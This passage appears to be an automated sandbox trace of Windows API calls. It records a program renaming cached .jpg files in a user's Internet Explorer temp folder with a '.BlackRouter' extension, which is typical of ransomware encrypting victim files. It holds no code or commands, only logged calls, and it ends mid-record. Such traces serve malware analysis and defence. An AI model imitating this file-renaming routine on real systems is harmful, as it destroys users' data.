Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg.blackrouter")) returned 1 [0065.310] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x12f9 [0065.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd718290, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1300)) returned 1 [0065.318] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg.blackrouter")) returned 1 [0065.319] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9a9 [0065.323] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533cf9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533cf9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd73e3f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9b0)) returned 1 [0065.323] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg.blackrouter")) returned 1 [0065.324] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1b08 [0065.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5303d8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5303d8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd73e3f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b10)) returned 1 [0065.338] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg.blackrouter")) returned 1 [0065.339] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c41 [0065.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e29b2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e29b2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd764550, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c50)) returned 1 [0065.348] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg.blackrouter")) returned 1 [0065.350] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x950 [0065.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd78a6b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x960)) returned 1 [0065.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg.blackrouter")) returned 1 [0065.360] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1bba [0065.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5530da90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5530da90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd7b0810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0)) returned 1 [0065.373] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg.blackrouter")) returned 1 [0065.374] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x76a [0065.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5154fff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5154fff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd7b0810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x770)) returned 1 [0065.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg.blackrouter")) returned 1 [0065.379] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x95f [0065.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f32f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f32f30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd7b0810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x960)) returned 1 [0065.382] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg.blackrouter")) returned 1 [0065.384] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x241e [0065.396] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533112f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533112f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd7d6970, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2420)) returned 1 [0065.396] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg.blackrouter")) returned 1 [0065.397] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x938 [0065.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd7fcad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x940)) returned 1 [0065.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg.blackrouter")) returned 1 [0065.402] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x192a [0065.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd7fcad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1930)) returned 1 [0065.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg.blackrouter")) returned 1 [0065.407] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x23fb [0065.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538b8730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd822c30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1 [0065.419] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg.blackrouter")) returned 1 [0065.420] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2a99 [0065.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539e9230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539e9230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd822c30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0)) returned 1 [0065.424] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg.blackrouter")) returned 1 [0065.425] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3200 [0065.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e02430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e02430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd848d90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3210)) returned 1 [0065.439] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg.blackrouter")) returned 1 [0065.440] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7e1 [0065.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ec0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ec0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd848d90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0065.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg.blackrouter")) returned 1 [0065.445] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1b4e [0065.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ff1610, 